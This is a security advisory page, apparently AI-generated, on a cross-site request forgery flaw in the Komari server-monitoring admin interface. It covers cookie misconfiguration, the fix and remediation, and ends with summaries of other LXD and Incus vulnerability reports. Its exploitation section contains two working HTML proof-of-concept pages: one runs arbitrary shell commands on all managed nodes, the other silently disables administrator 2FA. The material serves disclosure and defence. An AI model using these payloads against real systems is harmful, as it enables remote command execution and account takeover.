CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-HXJG-93WC-H8P8

GHSA-hxjg-93wc-h8p8: Cross-Site Request Forgery in Komari Management Interface

Alon Barad
Alon Barad
Software Engineer

Sep 10, 2026·5 min read·25 visits

Executive Summary (TL;DR)

Unauthenticated remote attackers can execute arbitrary shell commands on managed nodes and disable administrative 2FA by tricking an authenticated administrator into visiting a malicious link.

A high-severity Cross-Site Request Forgery (CSRF) vulnerability exists in the Komari server monitoring tool. The administrative interface sets authentication cookies without restrictive SameSite or Secure attributes, and lacks any CSRF validation, enabling unauthenticated remote attackers to execute arbitrary commands or modify backend settings by exploiting administrative sessions.

Vulnerability Overview

A high-severity Cross-Site Request Forgery (CSRF) vulnerability has been identified in the administrative interface of the Komari server monitoring tool. The flaw allows unauthenticated remote attackers to execute administrative state-changing actions via the browser of an authenticated administrator.

The target application sets the administrative authentication cookie (session_token) without specifying restrictive SameSite or Secure attributes. Furthermore, the routing configuration for /api/admin/ lacks Origin, Referer, or custom header validation, exposing critical endpoints to cross-origin abuse.

Root Cause Analysis

The root cause of this vulnerability lies in the combination of insecure session cookie configuration and the total absence of CSRF validation middleware on sensitive API endpoints.

During user authentication, the backend issues an authentication cookie. In the file api/public/login.go around line 68, the session_token cookie is created using the Gin framework's SetCookie function. The function is invoked without explicitly setting the SameSite parameter, leaving it empty. In legacy browsers or under specific cross-origin contexts, the browser defaults to loose cookie-sending behaviors.

Furthermore, the Secure flag is configured as false. This allows the session cookie to be transmitted over unencrypted HTTP, exposing it to interception. There are no additional controls—such as custom CSRF tokens or verification of Origin and Referer headers—present within the route group handling administrative commands.

Code Analysis

An analysis of the vulnerable and patched code shows how the cookie properties and routes were managed.

Vulnerable Code Path

In api/public/login.go, the cookie is set using default Gin parameters where transport security is disabled:

// Location: api/public/login.go
// The sixth parameter is 'secure' (set to false)
c.SetCookie("session_token", session, 2592000, "/", "", false, true)

Because the SameSite attribute is not explicitly configured on the context, the web server fails to supply a SameSite policy in the Set-Cookie header. Under legacy browser implementations or local intranet environments, this allows cross-site requests to automatically append the cookie.

Patched Implementation

To remediate the issue, the application must explicitly define a restrictive SameSite policy and enforce transport security:

// Location: api/public/login.go (Patched)
// Explicitly enforce SameSite Lax behavior
c.SetSameSite(http.SameSiteLaxMode)
// Set secure parameter (fifth parameter) to true to restrict transmission to HTTPS
c.SetCookie("session_token", session, 2592000, "/", "", true, true)

Exploitation Methodology

Exploitation is highly practical using cross-site requests. Because Gin's default JSON binder parses parameters regardless of the received Content-Type header, attackers can bypass CORS preflight restrictions by serving payloads with a text/plain Content-Type.

Proof-of-Concept 1: Remote Command Execution (RCE)

This script forces the administrator's browser to retrieve the active node list and execute arbitrary system shell commands across all managed client nodes:

<!DOCTYPE html>
<html>
<body>
<script>
var TARGET = "https://komari.example.com";
var COMMAND = "id && hostname && whoami";
 
fetch(TARGET + "/api/admin/client/list", { credentials: "include" })
  .then(function(r) { return r.json(); })
  .then(function(data) {
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i < nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(TARGET + "/api/admin/task/exec", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "text/plain" },
      body: JSON.stringify({ command: COMMAND, clients: uuids })
    });
  });
</script>
</body>
</html>

Proof-of-Concept 2: Disabling Two-Factor Authentication

An attacker can disable multi-factor administrative protections by tricking the victim into navigating to the following page:

<!DOCTYPE html>
<html>
<body>
<iframe name="hidden-sink" style="display:none"></iframe>
<form id="exploitForm" method="POST"
      action="https://komari.example.com/api/admin/2fa/disable"
      target="hidden-sink"></form>
<script>
  document.getElementById('exploitForm').submit();
</script>
</body>
</html>

Impact Assessment

The execution of this vulnerability leads to high-severity outcomes. An attacker who successfully exploits an administrative session achieves complete system compromise over both the monitoring master and the monitored fleet.

Critical Actions Reachable:

  • Arbitrary Shell Execution: The attacker can send arbitrary shell tasks to any managed client endpoint.
  • Authentication Defeat: The attacker can selectively disable administrative two-factor authentication (2FA).
  • Stored XSS: Attackers can rewrite site configuration templates to inject malicious persistent payloads (custom_head script injection), leading to subsequent session hijacking.
  • Data Deletion: Complete eradication of all monitoring records and active status logs.

Remediation & Defense

To resolve the vulnerability, administrators must update the Komari server installation to version 1.2.2 or later.

Manual Remediation Steps:

  1. Update the cookie configuration within the login handler to set Secure=true and enforce SameSite=Lax or SameSite=Strict.
  2. Implement a custom middleware to validate incoming request origins. This middleware must cross-reference the request's Origin or Referer header against the expected host header.
  3. Implement a custom validation header (e.g., requiring standard headers like X-Requested-With) for all API routes under /api/admin/.

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Systems

Komari Monitoring Server (github.com/komari-monitor/komari)

Affected Versions Detail

Product
Affected Versions
Fixed Version
github.com/komari-monitor/komari
Komari Monitor Team
< 0.0.0-20260609084633-98122fa4d1101.2.2
AttributeDetail
CWE IDCWE-352 (Cross-Site Request Forgery)
Attack VectorNetwork (AV:N)
CVSS Severity8.8 (High)
Exploit MaturityProof of Concept (PoC)
ImpactRemote Code Execution / Privilege Escalation
First Patched Version1.2.2

MITRE ATT&CK Mapping

T1204.001User Execution: Malicious Link
Execution
T1566.002Phishing: Spearphishing Link
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-352
Cross-Site Request Forgery (CSRF)

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally sent by the user who submitted the request.

References & Sources

  • [1]Official GitHub Security Advisory
  • [2]Komari Release Tag 1.2.2

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•14 minutes ago•CVE-2026-28385
5.0

CVE-2026-28385: Server-Side Request Forgery in Canonical LXD Image Import

CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.

Amit Schendel
Amit Schendel
0 views•9 min read
•about 1 hour ago•GHSA-9J25-MM2H-2F76
9.9

CVE-2026-48750: Arbitrary File Write on Host via exec-output Symlink in Canonical LXD and Incus

Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.

Alon Barad
Alon Barad
4 views•12 min read
•about 2 hours ago•GHSA-VGHH-5RFX-XHQ8
9.9

CVE-2026-48749: Arbitrary Host File Read and Write via Malicious Image Symlink in Canonical LXD and Incus

CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 3 hours ago•GHSA-FMC8-P6Q7-75CC
9.9

GHSA-fmc8-p6q7-75cc: Argument Injection in Canonical LXD Backup Compression Leads to Host Root Code Execution

GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 4 hours ago•GHSA-PJFF-C2WC-F6JM
9.9

CVE-2026-48769: Arbitrary File Write and Remote Code Execution via Trusted Image Hash in Canonical LXD and Linux Containers Incus

A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.

Alon Barad
Alon Barad
7 views•10 min read
•about 8 hours ago•CVE-2026-9639
6.5

CVE-2026-9639: Authenticated Denial of Service via Nil-Pointer Dereference in Canonical LXD Custom Volume Backup Import

CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.

Amit Schendel
Amit Schendel
7 views•9 min read